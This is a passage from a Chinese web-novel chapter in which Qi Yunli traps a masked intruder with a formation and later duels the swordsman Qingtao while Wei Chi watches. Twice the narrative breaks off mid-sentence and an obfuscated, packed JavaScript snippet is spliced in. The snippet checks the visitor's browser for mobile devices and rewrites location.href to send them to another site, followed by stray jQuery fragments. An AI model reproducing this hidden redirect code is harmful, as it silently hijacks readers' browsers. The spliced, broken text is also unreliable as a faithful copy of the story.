说明白这件事,齐云鲤总算问出关键问题:“之前你们几个在禁地的雪里获取阵法之力,是哪里学来的?” 宋安合抬头张嘴,却没出声,过了一段时间才小声回答:“是从幽冥大帝那边学来的。” 他说得小心翼翼,生怕青湖师叔发火。 修道门派很忌讳门下弟子学习外来知识,鼎山也不例外。毕竟学杂就容易出乱子,一乱起来就可能满盘皆输。 不过齐云鲤关心的不是这个,她关心的是幽冥大帝。 鼎山弟子之前施展的招式不来自鼎山,结果是来自那边? 这人在小说里就是个可有可无的角色,身居高位却一事无成。他要是还有东西能学,那幽冥十二泉早就成为宜居之地。 小说里不少修道人士都将其视为一个耻辱。 齐云鲤很不可思议:“他还有东西能学?” “其实能从她那边学的东西有很多,而且都经过调整修改,不会跟鼎山道法冲突。”宋安合说得很客气,又尽量避免跟鼎山道法的矛盾。 但齐云鲤发现这个幽冥大帝根本就不是小说里那个。 小说里的幽冥大帝对孤魂野鬼不闻不问,任由幽冥十二泉沿途百姓遭受鬼怪袭扰,情况再恶劣也与他无关,因此鼎山都将他视为反面人物。 眼下鼎山弟子竟然跟幽冥大帝学习阵法相关知识,并且真能发挥不小作用。 虽然齐云鲤觉得小说里的幽冥大帝干点正经事确实能起到很大作用。 ——但现在那个人是谁啊? 说起来幽冥大帝只是一个职位称呼,谁都可以当。 那么小说里那个是上一届,目前这个算下一届? 齐云鲤沉默了,虽然还有很多乱七八糟的事,但这件事最令她无话可说。 ——因为鼎山弟子在禁地的操作只是她个人猜测,从铺设阵法那一带获取遗留的阵法之力,小说里根本就没出现。 之前怀疑来怀疑去,都可以算做是她多想,但这件事就无法推脱。 ——难道她在干涉小说剧情发展? 可幽冥大帝不是齐云鲤自己,难道自己还将那个方法告诉过别人? 看下来她也算是肆意妄为的读者,跟面具人一路。 面具人要改,她也要改,而且修改方向截然不同。 ——仿佛只决生死,不较高下。 看个小说而已,至于吗? 齐云鲤在纠结自己到底干了什么,宋安合见她没责怪他们就松了一口气。 她在那边愁眉苦脸,鼎山弟子就跟那三个妖精详细商量策略。由于他们平易近人、和蔼可亲,那三个妖精最后还停止哭泣,慢慢说出自己的观点。 等他们商量结束,齐云鲤也彻底想通,她跟宋安合说:“你们到时候不要靠近,在四周留意阵法就行。” “……那我们呢?”野猪精小心翼翼地问,毕竟他们要跟齐云鲤呆在一起。 齐云鲤说:“你们只要演戏吸引鼎山弟子过来,他们一到你们就马上撤离。” “我们过来以后呢?”宋安合问。 “你们过来也只是靠近,不要直接到我所在的位置,毕竟一会儿就要动武,”齐云鲤强调,“你们在周围留意阵法布局就行。” 原本以为只是简单布置陷阱打面具人,结果发现可能没那么简单。 齐云鲤心情有点复杂,想了很久也没想通,最后发现只有打面具人一条路。 虽然之前怀疑卫池,但现在面具人才是货真价实的讨打。 之后鼎山弟子还跟那三个妖精商量具体走位,以免发生意外,齐云鲤就将能想到的招式全都回想一遍。 等次日演戏挖土的时候,齐云鲤已经想出二十三种打面具人的方法。 当然挖土只是表象,她实际是在布阵,就是将纸放在地上再稍等片刻。 纸被碎土盖住,她便在那里挖来挖去。 半天才挖出一个木片残骸,仿佛曾经雕刻过什么复杂花纹,不过眼下已经认不出来。 正当齐云鲤仔细观察木片时,一旁传来稚嫩童声:“被她拿了!” 接着就是几声响亮猪叫。 话音刚落,几步之外就冒出三个奇形怪状的妖精,正是树精、野猪精和老鼠精。而且们还刻意装扮过,显得自己不好惹。 “这是你们的?”齐云鲤当然不怕,“怎么证明?” 那三个妖精虽然出现,但不敢靠太近,只是站在一块石头后面。 面对质问他们没有大声反驳,不过树精过了一会儿从身上扣下块树皮丢出去,然后说那个木片残骸是他身上的。 演戏演得这么投入,齐云鲤只能决定多给点龙息,因此就在木片上留下几缕禁地龙息,那是专门为此准备的。 骗人的阵法还没铺开,于是她放下木片说:“那我放在这里,自己过来拿吧。” 这句话相当普通,不过—— “呜哇,她欺负我……”树精嚎啕大哭。 这个哭声相当大,以至于一些微小声音都被掩盖,不过尽管如此齐云鲤还是捕捉到一丝突如其来的动静。 在哭声之中那个老鼠精跑过来拿起木片,与此同时还有一只手伸向木片。 木片上有龙息,所以那只手为的就是龙息。 可是在碰到木片之前,老鼠精就抢先一步拿到手里。 ——于是那只手又伸向老鼠精。 齐云鲤冲过去猛然一踹,就将面具人踢得现出真身。 布阵完毕,所以她瞬间就打开卫池给的阵法。 刹那间有成百上千道光一闪而过,然后阵法就在那一带落稳。 看得出来这是相当高超的阵法。 面具人顿时就被什么东西痛打一顿,打得他毫无还手之力。之前还神出鬼没的那个人一时之间仿佛就是张被扫地出门的废纸。 前后差距大得犹如天壤之别,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16963661|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见为打面具人卫池下了血本。 确定那两个人有血海深仇,齐云鲤并没有高兴。 她也没有趁机过去出手。 ——因为她也被打了。 毫无防备就被迎头痛击,痛得她两眼冒金星。 同时遭受攻击的有两人,一个是面具人,一个是齐云鲤。 齐云鲤在被打的瞬间将那三个妖精推出去,他们吓得逃得不见踪影。不过打人的阵法还在动手,因为鼎山弟子在后面维持阵型。 齐云鲤被打得无话可说,不是无言以对,而是完全说不出来。 ——怎么她也被阵法痛打? 这个阵法是卫池事先画好的,莫非也要打她? 要不是看到面具人也被打,她还以为这是给自己准备的陷阱。 这明显就是个攻击型阵法,只要身在其中都会被打。 正在这时一只手扶起她,随后几把剑挡住从天而降的攻击。 鼎山弟子将齐云鲤护在中间,她刚要说这个阵法难以抗衡,结果那些攻击突然莫名其妙就消失。不是被打退,而是直接凭空消失。 但是另一边的面具人还在被打。 这边已经有鼎山弟子在施法疗伤,齐云鲤的伤势逐渐好转。 她一脸茫然地环顾四周,耳边的击打声还是铿锵有力,不过没有任何攻击落到她这边,仿佛已经判定她是不需要出手的对象。 那个阵法还会挑选攻击对象? “是护山大阵在保护我们。”周围有鼎山弟子开口。 鼎山之内遭受攻击,就需要至少两个人合作打开护山大阵。他们一群人之前已经打开护山大阵,刚才冲过来就将青湖师叔也纳入护山大阵里。 大的护山大阵能抵挡外来攻击,小的护山大阵能抵挡鼎山之内的攻击。 齐云鲤抬头一看,上方确实有若隐若现的屏障。 ——也就是说原本她也该打,而鼎山弟子不需要。 如今跟鼎山弟子站在一起,也就将他们归为一类人,都不需要攻击。 若是没有护山大阵,她就会被打得很惨。 齐云鲤发现自己被坑了,虽然面具人被打得很惨,但她觉得自己更惨。 面具人被打得惨不忍睹,最终只能吼一嗓子:“她根本就不是青湖!” “不肖子孙还不束手就擒?”齐云鲤并不慌张,只是说得有点讽刺。 这句点明身份的话如今无关紧要。 “……我迟早打回来。” 面具人咬牙切齿说出这句话便烟消云散。 “冲我来的,不关你们的事。”齐云鲤只是说出这个结论。 虽然面具人走了,不过事情还没了结。 ——那个坑她的人还没得到惩罚。 齐云鲤友好感激完九个鼎山弟子相助之后,便回到玄镜池。 玄镜池山清水秀,宛如一副秀丽画卷,齐云鲤在那湖光山色中整理仪容,然后若无其事走回去。 她在侧门外闲庭信步,似乎刚刚游山玩水回来,无事一身轻。 练剑回来的卫池看到她完好无损站在那里,显然有些惊讶。 “唉,刚才真是太凶险了,”齐云鲤长叹一声,“本想打面具人,没想到我也差点被打。” 这句话的重点就在“差点”二字。 卫池仔细观察才确认那个青湖身上确实没有伤。 “那是攻击型阵法。”他只是简单解释。 齐云鲤没有责怪,只是感慨:“也不知道面具人干了什么,还利用阵法来打我,感觉像是要死一起死。” “你看起来没受伤?”卫池有点疑惑。 齐云鲤感叹:“千钧一发之际鼎山弟子挺身而出,跟阵法攻击打起来,我这才幸免遇难。” 卫池给的可不是普通攻击型阵法,而是能将面具人痛打一顿的阵法。 既然不普通,那么阵法攻击绝非常人可挡。 ——但鼎山弟子就是常人。 “他们怎么会在那里?!”卫池有点急。 齐云鲤慢悠悠地说:“我之前去罗白音那里请过来帮忙的,没想到竟然救我一命。” 那个阵法的攻击就算是绝世高手也不能毫发无伤。 ——但现在的齐云鲤就是毫发无伤。 “那他们呢?!”卫池又急了。 齐云鲤感觉有点好笑:“幸亏有护山大阵,所以他们也没事,被打的只有面具人。” 她原本只是交代一下最终结果,但卫池发现一件奇怪的事。 “……你还能打开护山大阵?” 护山大阵只有鼎山中人才能打开,齐云鲤不是青湖,但她能打开护山大阵。 之前只是略有察觉,如今就是证据确凿。 ——也就是说她是鼎山中人。 但这未必是好事。 “鼎山掌门闭关修炼,说不定我是他的分身?”齐云鲤说出一个猜测。 卫池嫌弃地说:“你想得美。” “是我想得太美,说不定下次又要被打,”齐云鲤沉思片刻,“果然还是得靠鼎山弟子,我一个人也打不开护山大阵。” 言下之意就是以后她还会根鼎山弟子合作。 这种事情绝非卫池想看到的。 “两个人就能打开护山大阵,我也可以。”卫池皱起眉头。 齐云鲤也皱眉道:“感觉你学艺不精,还是算了。面具人下次肯定会专门过来打我,还是鼎山弟子靠谱。” “我哪里学艺不精?” “你才去晨练之地学剑,难道还能瞬间精通?”齐云鲤说出关键,“就算有经验,也需要时间重新熟悉,等你彻底熟悉,我这边已经打完。” 虽然卫池有之前轮回的经验,但这次重新接触剑法,确实还有点不顺手。 不过也是关心则乱,其实剑法和布阵并不直接相关。 但卫池轻而易举就中计。 “——那我就去白鹭坪学剑。”他说出至关重要的话。 白鹭坪在鼎山的高处,比飞泉院还高,离禁地更近,因此龙息压迫也会蔓延过去。呆在白鹭坪是件有点痛苦的事,所以平时基本没人靠近那里。 不过鼎山有个人专门住在那里,那就是青滔。 他仅凭剑法就能打得修为高深的人跪地求饶,所以白鹭坪的龙息压迫对他来说不算什么,住在那里他更容易察觉禁地龙息变化。 小说男主的剑法就是在他教导下一日千里。 只不过代价有点大,毕竟青滔是个一言不合就动手的狠角色。 ——就连鼎山掌门都被他打过。 因此只要卫池过去绝对会被打。 之前是齐云鲤被打,接下来就是卫池被打。 她很想笑,不过也只是说:“那我先准备一下,想跟他学剑也不简单。” 不过再怎么不简单,也比被青滔毒打强。 而且禁地、白鹭坪和玄镜池是在一条线上的,似乎无论如何都绕不开龙息。 或许最终还是得龙鼓论战。 至于她是鼎山中人的问题,事后再问石月观音。 8. 挨打对象 卫池说话客气,于是齐云鲤就顺势提问。 “面具人三番四次在鼎山出没,会不会对这边的环境造成破坏?” 虽然她是要问环境,不过以面具人为借口,看起来还算合情合理。 卫池翻个白眼:“早就开始破坏,何必等到今日。” 他既在说面具人,又在说环境。 虽然说得无关紧要,可这件事相当严重。 面具人是穿书者,既然破坏环境那就是要摧毁鼎山。一旦鼎山被毁,填坑也就没必要了。 鼎山被毁,齐云鲤基本就没有活路。 她有点大惊失色:“……早就开始?” 万一都快挖空整座山,那她再怎么亡羊补牢也于事无补。 “很久以前就已经开始。”卫池依然没当回事,只是再补上一刀。 如果面具人很久以前就开始破坏,感觉现在基本已成死局。 就算完成填坑,故事已经千疮百孔。 ——连垂死挣扎都高攀不起。 这都不是个人有没有活路的问题,而是生灵涂炭的问题。 他的态度过于淡定,齐云鲤不由开始怀疑:“那你干了什么?” “鼎山还在这里,是我保下来的。”卫池还是一副若无其事的模样,似乎早已看淡生死,毁天灭地对他来说不过只是寻常小事。 可这句话世人基本无法接受。 任谁也无法接受天地毁灭全系于一人之手。 不过对齐云鲤来说就没有任何问题,再古怪对她来说也很寻常。 ——毕竟她也不是普通人。 本来就够离谱,结果刚才又发现自己貌似早已是鼎山中人。 虽然被骗的可能性不低,但是这种事匪夷所思又合情合理。 迟穿书早穿书都是穿书,又不是早穿书还能掌握什么机要。 在铁一般的事实面前,时间问题无足轻重。 卫池发现她的态度异于常人,因此也不急,就让她慢慢想。 那是一个跟他同样稀奇古怪的人。 齐云鲤没有留意卫池的状态,只是一头雾水,怎么也搞不清楚。 这件事绝对算得上空前绝后、震古烁今。 因为鼎山算是这片天地里的定海神针。 不管四面八方如何混乱,只要鼎山屹立不倒,那就不可能毁天灭地。 这已经完全超出小说范围,那里虽然说鼎山是绝无仅有之处,可没说一旦出事还能挽回,而且看起来还挽回不止一次。 仿佛打牌就要输了,还可以重新洗牌再来。 ——但谁能做到这种事? “……是哪路神仙下凡?”齐云鲤绞尽脑汁也只能问。 卫池嫌弃地看着她:“只有神仙可以做到?” 这是个质疑,不过齐云鲤摇着头说:“感觉神仙也做不到……” 神仙也做不到,那么能做到的人就比神仙还厉害。 因此卫池大声说:“所以你别去连累鼎山弟子。” 这句话声音很大,可齐云鲤更加想不通,此事跟鼎山弟子有什么关系? 她感觉卫池是在转移话题,但自己也不好再呆在这里。 这个人好不容易才上钩,千万别再节外生枝。 于是齐云鲤马上转身去青湖房间。 毕竟还有其他问题,没必要在这里耽误时间。 一些问题可以之后问石月观音,但有些问题必须现在就解决。 比如去白鹭坪学剑一事,青滔没有传授剑法的念头,因此要让他有意教导就得给一定好处。他要的当然不是钱财,而是能解决问题的东西。 虽然看起来他住在白鹭坪相安无事,但实际上青滔有很大压力。 其一是要消减禁地龙息压迫,其二是要搞清楚禁地龙息变化。 小说里玲珑道人分担部分龙息压迫,青滔这才同意传授男主剑法。 分担龙息压迫齐云鲤不行,不过要弄清龙息变化似乎有个捷径。 之前禁地帮她抵挡攻击的那个阵法或许还能利用。 虽然阵法消失,但崖壁前还留有残余痕迹。 因此对周遭的龙息变化能略知一二。 将残余痕迹中的土石收进一个小挂坠中,挂坠里的土石会随着阵法痕迹变化而变化,也就是随着禁地龙息而变。 想到这里齐云鲤就跑去禁地挖土,挖的时候还上三柱香,以此来表示感谢。 做好挂坠,她又跑去飞泉院找罗白音,因为之前说要帮鼎山弟子干活。 鼎山弟子要干的活不重但是杂,所以齐云鲤彻底干完已经是三天后。 第四天清晨,她总算带着卫池上白鹭坪拜访青滔。 白鹭坪主要就是一块空地,周围有很多树,远处还有山。明显有利于活动,不过能在那里活动的人,绝非等闲之辈。 毕竟也有压迫感,只不过比禁地稍微轻一些。 齐云鲤压力很大,但是为了打卫池那就无关紧要。 他们两人来到白鹭坪边缘,就见到空地中心有个人在舞剑。动作利落,气势逼人,都让人不禁忽略那身发黄道袍。 空地上插着上百把长剑,每一把都寒光闪闪,似乎随时都能把人扎透。 恍惚间遍地长剑都在随着人影舞动,犹如翱翔于天地间的鲲鹏。 还没走进去,就已感受到凛然剑气。 齐云鲤不禁想起小说里青滔的剑阵,虽然百无一用,但令人印象深刻。实在没想到他还会做那种明显没用的事,鼎山中人看在他的面子上才没有嘲笑。 正在琢磨青滔的事,岂料一道剑气径直而来,将她身侧土地斩出一道凹痕。 “何事?”青滔收剑回鞘,面露不悦。他神情冷峻,眼神坚定,身着普通青灰道袍,却像是一身铠甲,金刚不破。 他是寡言少语的风格,因此说话直奔重点比较好。 “禁地一事不知你是否有所耳闻,面具人凭空出现,杀死玲珑道人。”齐云鲤不确定两人辈分高低,因此没有称呼师兄或师弟。 她只是说出一件匪夷所思的事。 青滔摸着下巴上的胡茬,望着上方的鼎山禁地,并没有说话。 于是齐云鲤又补充:“面具人是擅闯鼎山禁地。” 这是个很严重的问题。 无论是鼎山还是禁地,都有阻拦外来者的屏障,如今却有人视若无睹。 青滔沉默片刻,最后说出结论:“禁地龙息没有明显变化。” “那人想夺取禁地龙息,是玲珑道人出手才没让他得逞。”齐云鲤小心解释。 “还有这种事?”青滔似乎有点疑惑,“护山大阵对他无效?” 小说里从未出现他一次说这么多话的场景,齐云鲤和卫池都是一愣。 不过卫池还只是怀疑,齐云鲤已迅速接受现实。 于是她说:“他可以直接进入鼎山,不止禁地。” 青滔的眉头已经拧成一团,按理来说只有鼎山中人才可以毫无障碍出入鼎山,其他人只有得到鼎山中人的许可才能入内。 鼎山禁地更是不少鼎山弟子都难以进去,基本会被龙息压迫挡在外面。 结果现在还有外人径直上鼎山禁地杀人越货? 青滔完全无法接受:“难道他是鼎山的?” “他不能打开护山大阵。”齐云鲤摇摇头。 这话就说得面具人很神秘莫测,不是鼎山中人却能随意出入鼎山,还能在充满龙息压迫的禁地杀人。 青滔不知道世上还有这种人。 齐云鲤见他疑云满腹的模样,就转身介绍起卫池:“这是那时玲珑道人带上禁地的人炉,他领教过面具人的招式,也算略知一二。” “干什么?” 青滔这种发言相当罕见,毕竟这是给对方一个开口机会。 让自己以外的人获利这种事,青滔绝不会做。 卫池不由皱起眉头。 但齐云鲤指着他说:“面具人还会再去禁地,虽然不知他是何方神圣,不过这个人领教过面具人的斤两,是个不可多得的有经验者。” 她仿佛是在介绍什么奇珍异宝。 青滔打量起卫池,见他身形瘦小就皱起眉头。 “他得学剑防身,你要摸索面具人的招式,不如你们互惠互利?”齐云鲤赶紧解释说明,生怕错失良机。 青滔又问:“我怎么知道面具人何时在禁地出现?” 齐云鲤拿出挂坠递给青滔:“里面的土石是禁地阵法上的,因此会随着禁地龙息变化而变化。” 只要拿着挂坠就能得知禁地龙息变化,再根据变化调整策略。 如此一来,就能及时应对。 青滔接过挂坠,的确感觉到一丝龙息,正如鼎山禁地的龙息变动一样。 “你什么时候变得这么机灵?”他有点怀疑,这不是青湖能想出来的。 齐云鲤有些无奈地说:“我在禁地也被他打。” 两个人被打,结果只死一个,这就有点可疑。 青滔继续怀疑:“怎么你没死?” “千钧一发之际鼎山弟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16963662|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子打开护山大阵。”齐云鲤只好解释,并且将功劳都给鼎山弟子。 他们是鼎山的中流砥柱,因此青滔没有继续怀疑此事。 不过他又指着卫池问:“他怎么没死?” “因为面具人用他来炼化人炉之火,”齐云鲤为了不让卫池被怀疑又补充道,“不算多,只有一点,不构成生命威胁。” “这都没死?”可是青滔不依不挠。 齐云鲤客气地说:“当时我还没死……” “怎么玲珑道人死了?”青滔仿佛是个好奇宝宝。 他始终在纠结生死之事,齐云鲤也无可奈何,只能开始胡说:“他带人炉上禁地,估计别有深意。” “什么深意?” “有些事可能只有他知道,”齐云鲤小声编造起来,“鼎山之前从未有过人炉,如今出现或许有大事发生。” 她说得青滔都快深信不疑,毕竟仿佛有理有据。 ——这两个人在干什么? 一旁的卫池相当震惊,青滔从来不会跟人说这么多,他能说一句话都很罕见。一开始能说两个字已经相当给面子,结果现在竟然滔滔不绝。 难道青滔也跟人交换魂魄? 已经出现两个交换魂魄之人,再来第三个也见怪不怪。 不过就是有这么多人交换魂魄,必然要出大事。 卫池确定好计划,低下了头。 前方的齐云鲤已经和青滔从鼎山禁地说到玄镜池,再说到鼎山山脚,无论何时何地都在突出卫池,他虽然没干什么,却发挥巨大作用。 最后结论是打面具人的最佳方式就是从卫池这边探明那边的底细,毕竟有些事情卫池也难以用言语来表达。 在齐云鲤的舌灿莲花下,青滔最终接受教卫池学剑一事。 于是他提问:“可曾见过他人用剑?” 语气比他平常的话语温和很多。 不过一句寻常问话,卫池却表现得格外不自在,他低着头,张嘴好几次,才气若游丝地回答:“未、未曾……” 这截然不同的表现顿时让青滔转头瞪向齐云鲤,刚才她说得明明不是这样。 齐云鲤见到卫池假装胆怯,脸都有点扭曲。 虽然只有短短一瞬,可她完全没想到还有这种事,顿时有种不详的预感。 青滔尽量心平气和地问:“炼化人炉之火时,是什么情形?” “我……当时不敢看。”卫池不但低着头,还摇头。 青滔用完最后一点耐心:“你在玄镜池看到什么?” “只是听到……声音,不敢直接看。”卫池还是假装胆怯。 事已至此,就看青滔是什么反应。 ——如果是本人那就会动手。 青滔不出所望地大吼一声:“只是闭着眼睛能学会什么?!” 不过他没有动手打卫池,而是拔出地上一把长剑丢给齐云鲤。 “我跟她比剑,你要看好了。” 拿到剑的齐云鲤总算发现哪里不对。 明明是带卫池过来挨打,结果被打的变成她自己? ——被青滔打那就跪地求饶都不能停止! “这样不对吧,难道不会吓到他?”齐云鲤赶紧找理由。 原本这是个值得商榷的问题。 谁知卫池竟然说:“如果是师父出马我就敢看……” 说完他还伸手一指。 被指的齐云鲤一脸震惊,青滔已经拔剑冲过来。 白鹭坪瞬间就刀光剑影,杀气腾腾,青滔动手只有你死我活,不讲技法高下。 齐云鲤玩命抵挡,只能庆幸自己之前打过几次,已经略有经验。 不然就真的只能任人宰割。 打了一阵子齐云鲤想起青滔从不使用功法,于是马上变出一个阵法。 ——谁知阵法才出现就被劈碎。 她这才明白青滔不用阵法是不需要,他的每一剑都暗含功法在其中,看似赤手空拳,其实能碾碎一切他人阵法。 既然如此谁还会用功法,打不过就跑吧。 那两个人打着打着就向远处移动,一个玩命地逃,一个拼命地追。 不久之后卫池才抬起头,远处比剑的两个人已经快进入山林。 没人计较他之前的心虚胆怯。 从青滔的反应来看,他没有跟人交换魂魄,只是动手对象有所变化。 那个青湖只是稍落下风,也绝不是普通人。 今天这种情况很久以前出现过,只不过是很多个轮回以前的事。 9. 全都被打 片刻之前,在齐云鲤震惊之余,青滔已经摆好架势,随时可以出剑。 还没稳定心情,剑尖就直接刺来,她一时只觉眼前全是寒光,完全招架不住。勉强打了几下,齐云鲤施法布阵,谁知阵法一出现就被青滔打碎。 打不过只能跑,于是白鹭坪上两个人一逃一追,从东边跑到西边,又从南边跑到北边,逐渐向远处山林靠过去。 两人跑了一圈又一圈,齐云鲤只觉得全套剑招差不多使完一遍。刚想留意一下青滔接下来是不是要换套剑招,左耳旁突然刺来一道寒芒,她下意识伸手一挡,结果居然直接挡下攻击。 之前青滔挥剑,其实就是按照鼎山剑法来,以便卫池参观学习。 ——只是没想到,齐云鲤也学到了。 两人都有片刻停顿,青滔似乎也是一愣,齐云鲤瞬间回想一遍刚才的剑招,顷刻间好似醍醐灌顶。 ——青湖这个人也擅长用剑! 她仿佛苦尽甘来,反手就是一剑。 这一剑虽然被青滔挡住,但他眉头紧锁,都可以打结。 这表情更令齐云鲤高兴,不是不报时候未到,现在就是她出招的时候。 ——反正只是比划招式,也不会怎么样,放心大胆打就行! 刚才一追一逃的局面眨眼就改变,双方都拿剑出招,再也没有人躲,更没有人逃,一时间甚至有些旗鼓相当。 由于这次比剑是为了让卫池看清鼎山剑法,所以双方都没有超出这个范围。 始终按照鼎山剑法,演示一次又一次。 只不过那两个人手里的鼎山剑法有点杀气腾腾,绝不是一般的练剑,而是你死我活的生死一搏。 卫池看得眉头紧皱,比刚才的青滔皱得还严重。 那边两个比剑的谁都不是初来乍到之人,青滔的剑法冠绝天下、无可匹敌,可那个青湖的剑法只是稍落下风,虽然赢不了但也不会惨败。 ——这都不是正常人能做到的。 从始至终跟青滔比剑的下场只有一个,那就是跪地求饶。 但眼下比剑的那两人只怕是把那边的山头铲平,也不会停下来。 即使只用鼎山剑法,也太超出常理。 世上基本没人能做到这件事,除非跟青滔比剑的人也惯于将功法遍布周身上下,即使没有阵法也能对抗。 可是这种人除了青滔,难道还有第二人选? 远处比剑的两人甚至还随手换了一把剑,丢下一把剑锋凹凸不平的剑,然后继续比拼,不过实际上已经算是某种厮杀。 ——只使用鼎山剑法的厮杀。 卫池数了数丢出来的剑,已经远超十把。 这满地的剑仿佛是专门为那两人准备的,他们三两下就能把一柄利剑砍烂,仿佛知道这里有一地的剑,所以有恃无恐。 ——只有对剑法极其熟悉的人才能做到这一步。 那两人把白鹭坪空地从近到远转了一圈又一圈,地上的剑都快被拔光。 齐云鲤看了一眼地上几把完好无损的剑,转头示意换个地方。 青滔点点头,直接一招将她打进远处山林,接着自己再冲过去。 卫池站在原地彻底沉默。 据他所知,鼎山上下只有一个人能做到这种事。 ——但那个人早就死了。 朝霞闪着金光照亮白鹭坪,曾经的卫池在这里练剑,同时还有另外一个人。 即使青滔怎么看她都不顺眼,她也能勉强完成任务,达到要求。 由于青滔一心盯着她骂,所以卫池基本没事。 想到这里,旁边的天空就出现一缕云烟,很轻很散。 但是在白鹭坪不可能有云烟,毕竟这里不是龙息压迫就是剑气逼人。 随便什么烟云都能被逼退。 卫池知道是面具人到来,那个人千方百计也要夺取鼎山龙息。他们两个为此斗了很久,时至今日早已血海深仇。 之前打那个青湖又被他的阵法阻挠,估计面具人完全咽不下这口气。 因此专门来此给自己一点教训。 卫池没有胆怯退缩,只是做好迎接偷袭的准备。 微风吹过,云烟散开,面具人的攻击便随着轻风袭来。风很轻,但其中的攻击格外狠,仿佛要将人的皮肉一片片削下来。 于是在山林里打得针锋相对时,山林外也开始一场你死我活的较量。 山林里的比剑极其凶险,而外面已经看不到里面的情形。 尽管那两人依然只是在使用鼎山剑法,不过寻常剑法在他们手里也显得锐不可当。 ——仿佛寻常舞剑就能劈山开石。 齐云鲤感觉青滔打得都有点忘我,仿佛一心沉浸其中不可自拔。 虽然比剑也算修道,不过至于这样吗? 搞得好像这辈子他都没跟人打过架,可他不是经常打得人跪地求饶? 原本静谧的山林由于那两人的闯入,一时变得危机四伏。 与此同时,充满危机的还有山林外。 已经跟云烟纠缠一阵子的卫池又看见一道气浪。 即便迅速腾挪移位,脸颊也不免被划伤,他迅速伸出右手做抵挡。 气浪将卫池右手划得皮开肉绽、鲜血直流,他也没有皱一下眉。 似乎是不满只给他造成皮外伤,气浪又接二连三从山林方向划出,与之前的云烟方向恰好相对,从左到右一字排开,将卫池包裹其中,让他无处可逃。 这就是封死所有的方向,如同瓮中捉鳖。 不过卫池没有惊慌。 ——既然不能躲,那就出招。 于是在四面八方的气浪将他划得遍体鳞伤时,他也顺着气浪方向逐一出击。 卫池这时没带长剑,便用人炉之火攻击气浪来源,反正之前炼化出来的人炉之火他还有剩余。 人炉之火既是被炼化出来的,也能炼化其他事物。 只是那种炼化当然不会令人舒服。 之前面具人想从他这边获得人炉之火,现在就悉数奉上。 ——也算是面具人得到心心念念之物。 在龙息压迫比较重的白鹭坪,人炉之火就是最猛烈的火焰。 因此当气浪过来攻击卫池时,气浪来源也同时遭受攻击,人炉之火顺着气浪方向炼化过去,一路烧到气浪背后的那个人。 白鹭坪上的卫池遍体鳞伤,云烟后的面具人也好不到哪里去。 于是这边的打斗随着人炉之火的燎原而停歇。 而山林那边传来一声炸裂巨响,万千树叶被削碎,又被风浪卷起朝四周散开,接着形成一个阵法,笼罩在山林上空。 只是山林之中却冲出一道锐不可当的剑气,直接将阵法劈碎。 之后似乎有什么东西被击中,然后就是一阵暴打的声音,听着有种命不久矣的感觉。 卫池发现那边也打起来,就赶紧收拾四周,生怕被人发现自己动武。 由于枝叶密密麻麻,遮天蔽日,因此山林里只有一片阴影。 在阴影当中,有两道冷光不停交错变化,快得只听得到风声,风声撕裂又合并,展开又合拢。这场比剑齐云鲤本该全神贯注,可她不得不分心留意周围动静,生怕一不留神就错过一个活命的机会。 就在这时,西南方向有一丝波动。 齐云鲤回身一剑,将刺过来的一道气浪打碎,只是青滔的剑风仍在她身上划出一个血口。不过对她来说,受伤事小活命事大。 一道气浪过后,又是四面八方奔涌而来的气浪,层层叠叠的气浪缝隙中还有尖锐狭小的刺,虽然造不成什么伤害,但是挺扎人。 她毫不畏惧,正对气浪就是一阵连绵不绝的劈砍。 与此同时,白鹭坪上的剑都化作剑气而来,有形长剑和无形剑气共同劈砍而下,犹如雷霆之怒轰然炸开。 速度过于迅捷,以至于兵刃相交的声音连成一片,在雷霆之上又炸出山崩地裂的动静。 这巨响形成的原因不止有齐云鲤的攻击,还有鼎山护山大阵。 ——以及剑阵。 在护山大阵的威力下,齐云鲤才能将所有气浪一举击碎。 青滔瞪大双眼,只有鼎山中人才能跟护山大阵产生联系。护山大阵展开防护,她才能毫无障碍劈碎气浪。 ——但刚才除了护山大阵的防护,还有剑阵的攻击。 而剑阵是青滔铺设的,虽然他一再强调效果奇佳,但鼎山中人始终不信。 毕竟除他以外再也没有人能调动剑阵。 可如今剑阵跟护山大阵一起发挥作用,将气浪全都击碎。 按理来说护山大阵只有防护作用,只能减小攻击,想顺势击碎气浪绝不可能。 但剑阵重在攻击,只要跟其感应,就能调动其中的无形剑气,一人挥剑也有如万千锋刃劈下。 之前其他人认为绝不可能发生这种事。 可刚才已经发生,而且千真万确。 几天前罗白音让他探明虚实,现在青滔发现这个青湖就是鼎山中人。 ——而且似乎青湖本人早就预料到此事。 否则那个魂魄怎么可能如此顺畅就使用她的躯体。 估计青湖已经料到自己有朝一日会惨遭毒手,因此早就做好准备。 而且能调动剑阵的鼎山中人实在是意想不到的惊喜。 确认完那个魂魄的身份,青滔抬头看向天空。 在齐云鲤专心对付气浪时,有一个阵法悄然凝成。 漫天飞舞的树叶碎屑下,阵法又以排山倒海之势往下压,瞬间将山林里的枝叶全部压折,枝头的鸟雀也被拍在地上。 这是超出齐云鲤预料的事,正当她要对付阵法,青滔已经一剑劈上天,在阵法落地的前一刻将其劈得粉碎。 刹那间仿佛万事万物都不敢近青滔的身,他周身空荡荡一片,就连尘土都绕道远行。 这一刻他就是金刚怒目,无论什么宵小都能被他碾成碎渣。 